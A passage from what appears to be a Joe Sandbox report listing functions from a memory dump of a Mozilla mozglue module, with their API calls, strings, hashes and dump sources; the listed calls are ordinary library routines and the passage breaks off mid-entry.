Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: ecfffbfa313c3119c73eeb325b9484e013549dd20b99b9b7262b79afb88f6f98
Instruction ID: bda830ba8e9d07c23ddbb99ef156ffab56e8241b9105d3147a1d6a04f98b4e7a
Opcode Fuzzy Hash: ecfffbfa313c3119c73eeb325b9484e013549dd20b99b9b7262b79afb88f6f98
Instruction Fuzzy Hash: 7E417AB6A00605DFCB00CF99C88099BB7F9FF98314B254569D946ABB14D731FC04CB90

Function 6C9A6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C99FA80: GetCurrentThreadId.KERNEL32 ref: 6C99FA8D
Part of subcall function 6C99FA80: AcquireSRWLockExclusive.KERNEL32(6C9EF448), ref: 6C99FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9A67C8

Part of subcall function 6C9B4290: memcpy.VCRUNTIME140(?,?,6C9C2003,6C9C0AD9,?,6C9C0AD9,00000000,?,6C9C0AD9,?,00000004,?,6C9C1A62,?,6C9C2003,?), ref: 6C9B42C4

Strings

data, xrefs: 6C9A6593

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 0ed58ec16937e4c8d389af97f2a2458db7abb2c9545fe2fd21312623da1fa46f
Instruction ID: 27cf290558b4b556e66a7ab402e139e226f6ca5b24cf264ed304f6a24c42e796
Opcode Fuzzy Hash: 0ed58ec16937e4c8d389af97f2a2458db7abb2c9545fe2fd21312623da1fa46f
Instruction Fuzzy Hash: 21D1CFB5A093409FD724CF68C840B9FB7E5AFE5308F14892DE18997B51DB30E94ACB52

Function 6C9BC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9BC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9BC842

Part of subcall function 6C9BCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9DB5EB,00000000), ref: 6C9BCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9BC863
std::_Facet_Register.LIBCPMT ref: 6C9BC875

Part of subcall function 6C99B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9DB636,?), ref: 6C99B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9BC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BC8BC

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: f14278452ac75d6b480271c79164f3578cad342ecba4a36db2dd3bd3099fa406
Instruction ID: 6e29acee6d39ceda362bea6af0e471b8215f832c35521ce6ad83c8b21b797bf6
Opcode Fuzzy Hash: f14278452ac75d6b480271c79164f3578cad342ecba4a36db2dd3bd3099fa406
Instruction Fuzzy Hash: 1F11B671B043099BCB00EFA4D8C98AF7B78EFAD354B240129E606A7340DB30DD44CBA5

Function 6C99D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C96EB57,?,?,?,?,?,?,?,?,?), ref: 6C99D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C96EB57,?), ref: 6C99D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C96EB57,?), ref: 6C99D673
free.MOZGLUE(?), ref: 6C99D888

Strings

|Enabled, xrefs: 6C99D81E

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 3dd7aeb42162e3b76c07d41746f3cda3fd2692c32bee23c7cc04d78285dd1d8d
Instruction ID: b8af270e45bdffee28c4378cb8aefa02d6772f6bfeb40123ad225c5741cf5aeb
Opcode Fuzzy Hash: 3dd7aeb42162e3b76c07d41746f3cda3fd2692c32bee23c7cc04d78285dd1d8d
Instruction Fuzzy Hash: 02A126B1A043089FDB11CF69C4D07AEBBF5AF69318F18805DD8896B742D735E845CBA1

Function 6C99F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C99F480

Part of subcall function 6C96F100: LoadLibraryW.KERNEL32(shell32,?,6C9DD020), ref: 6C96F122
Part of subcall function 6C96F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C96F132

CloseHandle.KERNEL32(00000000), ref: 6C99F555

Part of subcall function 6C9714B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C971248,6C971248,?), ref: 6C9714C9
Part of subcall function 6C9714B0: memcpy.VCRUNTIME140(?,6C971248,00000000,?,6C971248,?), ref: 6C9714EF

Part of subcall function 6C96EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C96EEE3

CreateFileW.KERNEL32 ref: 6C99F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C99F523

Strings

\oleacc.dll, xrefs: 6C99F4CB

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: f0809039aa98b8bffe352b9896b2b53eb318512f8ff30fa16e5195ad00bbadcc
Instruction ID: 8c5bd9dcc1ca1ec3e83013aad948de609b8527faf0f8bff0275acd0e163c9e48
Opcode Fuzzy Hash: f0809039aa98b8bffe352b9896b2b53eb318512f8ff30fa16e5195ad00bbadcc
Instruction Fuzzy Hash: 3E41B4706087109FE720DF69C844BAAF7F8AF5931CF504A1CF59593650EB30D989CB92

Function 6C9C74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9C7526
__Init_thread_footer.LIBCMT ref: 6C9C7566
__Init_thread_footer.LIBCMT ref: 6C9C7597

Strings

kernel32.dll, xrefs: 6C9C7557
UnmapViewOfFile2, xrefs: 6C9C7552

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 78bd69e6cc9de08f997953425cbadece11e702694828791c726ffa96284de28e
Instruction ID: b34dbb61f3bb58296828123f3a262f23145ddabcd0c8eb0e865547f2a73f8be7
Opcode Fuzzy Hash: 78bd69e6cc9de08f997953425cbadece11e702694828791c726ffa96284de28e
Instruction Fuzzy Hash: A2213731B06500A7DF158FEAE814E49337AEFBFB28F24452AD50547F40CB32E94586A7

Function 6C9CA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EF770,-00000001,?,6C9DE330,?,6C98BDF7), ref: 6C9CA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C98BDF7), ref: 6C9CA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C98BDF7), ref: 6C9CA7E4
LeaveCriticalSection.KERNEL32(6C9EF770), ref: 6C9CA80A

Strings

accelerator.dll, xrefs: 6C9CA7BF

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 60cc50df80690b318ac39aea4f9646e067afb012444b255b9fbcf96ded9a99a7
Instruction ID: 4bf3bc28bd92b3789a2120d5ad3a449bcb9dd41ed873b4e5ad4ac0139de51f16
Opcode Fuzzy Hash: 60cc50df80690b318ac39aea4f9646e067afb012444b255b9fbcf96ded9a99a7
Instruction Fuzzy Hash: 98017C707043049FDB448F96E884C2177B8FFA9B59715806AE8098B741DB71E800CBA2

Function 6C96F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C96EE51,?), ref: 6C96F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C96F0C2

Strings

Could not find CoTaskMemFree, xrefs: 6C96F0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C96F0DC
ole32, xrefs: 6C96F0AD

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 6c386ed7649f0acf1d4567884e2be534ce50e18ec6d4a724cc58575a3854c6ed
Instruction ID: e5191b5302369395f11c9256288a5f5636944168439595698dd95ff82df3e1c5
Opcode Fuzzy Hash: 6c386ed7649f0acf1d4567884e2be534ce50e18ec6d4a724cc58575a3854c6ed
Instruction Fuzzy Hash: 96E0DF7134C305DBBF541B63AC09B2637BC6FBF60D324802EE512C1F95EA20D010C66A

Function 6C9A0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C977204), ref: 6C9A0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9A00A7
FreeLibrary.KERNEL32(?,6C977204), ref: 6C9A00BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9A00A1
wintrust.dll, xrefs: 6C9A0083

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: f1af009ecd04ba6e6efd1e786ca5e6f13e16373f15eeb597c51f83f44c9427c9
Instruction ID: 6fced4a158f11db58b59a0793fa93da84f9301a263f61e9020566c42ba49b7a9
Opcode Fuzzy Hash: f1af009ecd04ba6e6efd1e786ca5e6f13e16373f15eeb597c51f83f44c9427c9
Instruction Fuzzy Hash: A2E01270608340ABEF80AFA6A8087023AF8AF6F348F60406AA912C2690DBB4C000CF55

Function 6C9A00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C977235), ref: 6C9A00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9A00F7
FreeLibrary.KERNEL32(?,6C977235), ref: 6C9A010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9A00F1
wintrust.dll, xrefs: 6C9A00D3

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 05b26c0f71cace539d614dbd5c3fb8dc160b54f8cd1d22ed105a81019b6d3b9a
Instruction ID: 37286910a3a8301dae7431877015268789472c8fc5b906e8427d5c699eb039fc
Opcode Fuzzy Hash: 05b26c0f71cace539d614dbd5c3fb8dc160b54f8cd1d22ed105a81019b6d3b9a
Instruction Fuzzy Hash: 54E04F7060D3459BEF805FA5E90A7613AFCEF2F208F70906AAA0F81A00D770C150CB50

Function 6C9CC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9CC0E9), ref: 6C9CC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9CC437
FreeLibrary.KERNEL32(?,6C9CC0E9), ref: 6C9CC44C

Strings

ntdll.dll, xrefs: 6C9CC413
NtQueryVirtualMemory, xrefs: 6C9CC431

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: b5216fae2a2ddbfcf51b0287a398eb430e31cd29c6f2a9eebf5006af68470c28
Instruction ID: 8de510b7b099d4d3b1600f066ff9f9d8f0ef04224f423a890e86a7c329baae20
Opcode Fuzzy Hash: b5216fae2a2ddbfcf51b0287a398eb430e31cd29c6f2a9eebf5006af68470c28
Instruction Fuzzy Hash: B9E0BF707093019BDF80BF71D9197117FF8AF6E20CF20919BAA06D1691DB74D4008B55

Function 6C9C75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9C748B,?), ref: 6C9C75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9C75D7
FreeLibrary.KERNEL32(?,6C9C748B,?), ref: 6C9C75EC

Strings

ntdll.dll, xrefs: 6C9C75B3
RtlNtStatusToDosError, xrefs: 6C9C75D1

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 95bdfbab46e4575ef00fd30b4a770e0da2cd37c4057cbab5642d4f3a4cfb0352
Instruction ID: bc68222c2a64df2fe013f30f43062b9311f633d8f8ace1ced19a7669815b4a71
Opcode Fuzzy Hash: 95bdfbab46e4575ef00fd30b4a770e0da2cd37c4057cbab5642d4f3a4cfb0352
Instruction Fuzzy Hash: D3E04F70309301ABDF805FA3D8487053AF8EF6E64CF30442AA900C1602DB72C205CF45

Function 6C9C7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9C7592), ref: 6C9C7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9C7627
FreeLibrary.KERNEL32(?,6C9C7592), ref: 6C9C763C

Strings

NtUnmapViewOfSection, xrefs: 6C9C7621
ntdll.dll, xrefs: 6C9C7603

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 418749abab88748420c6ea846e4475d8778ad8ccb98e2f17ae3eba547ca934b8
Instruction ID: 90c9da93e34062458f3bd1e676f4c0d51248532629542b4a153c8d366ec1daec
Opcode Fuzzy Hash: 418749abab88748420c6ea846e4475d8778ad8ccb98e2f17ae3eba547ca934b8
Instruction Fuzzy Hash: D4E04FB03093009BEF805FA7E8087013AB8EF7E75CF20401AE904C1701D772C0048F5A

Function 6C9CBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9CBE49), ref: 6C9CBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9CBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9CBE49), ref: 6C9CBF38
RtlReAllocateHeap.NTDLL ref: 6C9CBF83
RtlFreeHeap.NTDLL ref: 6C9CBFA6

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 68f51ba09ff7491461a0bf7c47db13069a798e283164e3a5b0dd8d84e9360002
Instruction ID: c94d7027fb18e47adff1cc8c2ed3a31a0e48188dade373cecd5c82c7cedae1ff
Opcode Fuzzy Hash: 68f51ba09ff7491461a0bf7c47db13069a798e283164e3a5b0dd8d84e9360002
Instruction Fuzzy Hash: DB51AE71B002058FE710DF69C980BAAB7B6FF98314F298629D515A7B94D730F9168F82

Function 6C9B8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?,6C9DD734), ref: 6C9B8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?,6C9DD734), ref: 6C9B8EBF
free.MOZGLUE(?,?,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?), ref: 6C9B8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?,6C9DD734), ref: 6C9B8F46
free.MOZGLUE(?,?,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?), ref: 6C9B8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9AB58D,?,?,?,?,?,?,?,6C9DD734,?,?,?), ref: 6C9B8F8F

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ce01fb82a7935a1c469e9293dcdf255e775d537d0de981acdcc31d044a615a78
Instruction ID: 997c988fef9c425fc9a14a26dce0d82a55aca5fa4cc0e4d16343e4976a249008
Opcode Fuzzy Hash: ce01fb82a7935a1c469e9293dcdf255e775d537d0de981acdcc31d044a615a78
Instruction Fuzzy Hash: 9C519DB1A012179FEB18CF64D8806AF77B6AF48308F25052AD916BB740E731E915CBA5

Function 6C9760E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9760F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C976180
free.MOZGLUE(?,?,?,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C976211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C976229
free.MOZGLUE(?,?,?,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C97625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C975FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C976271

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b88ae09da805f42bba156cad7b2e25d7b7fb03d3514b05556760989bc4d1c2f5
Instruction ID: 8e770e660e1bb8a2286f818cda1fa22e4efa62bf2526dc4db1f2d203c69ee70f
Opcode Fuzzy Hash: b88ae09da805f42bba156cad7b2e25d7b7fb03d3514b05556760989bc4d1c2f5
Instruction Fuzzy Hash: 5851AFB1A062078FEB64CF68D8847AEB7B5EF55308F200439C656D7B11E731EA58CB61

Function 6C9B27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B289A
free.MOZGLUE(?,?,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B2910
free.MOZGLUE(00000001,?,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9B2620,?,?,?,6C9A60AA,6C9A5FCB,6C9A79A3), ref: 6C9B294E

Memory Dump Source

